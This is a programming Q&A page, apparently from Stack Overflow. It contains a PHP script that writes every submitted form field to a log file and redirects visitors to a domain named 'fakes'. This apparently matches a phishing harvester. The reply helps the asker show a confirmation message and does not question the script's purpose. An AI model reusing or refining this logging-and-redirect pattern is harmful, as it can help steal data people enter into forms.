Search code examples
phphtmlconfirmation

cant get the last part of my php working


The first php works flawlessly but the second php dosent seem to be going through basically i would like my customers to recive a echo that say what the second code of php says here is the code.

<?php
header ('Location: http://www.fakes.comze.com');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

<?php 
    $First_Name = $_POST["First Name"];
    echo "Hello , " . $First_Name "Information recived. Confirmation will be sent within the next 24 hours.";

?>  

Solution

  • Neither the exit or the missed concatenation operator will effect how the browser behaves in this instance. The browser will redirect to http://www.fakes.comze.com with out printing the message.

    You will have to let the script at http://www.fakes.comze.com know that you want it to display some message. Or alternatively add some redirect count down timer.

    Here is a page that can help you with that, should you chose to go with this option .

    Redirect 10 second Countdown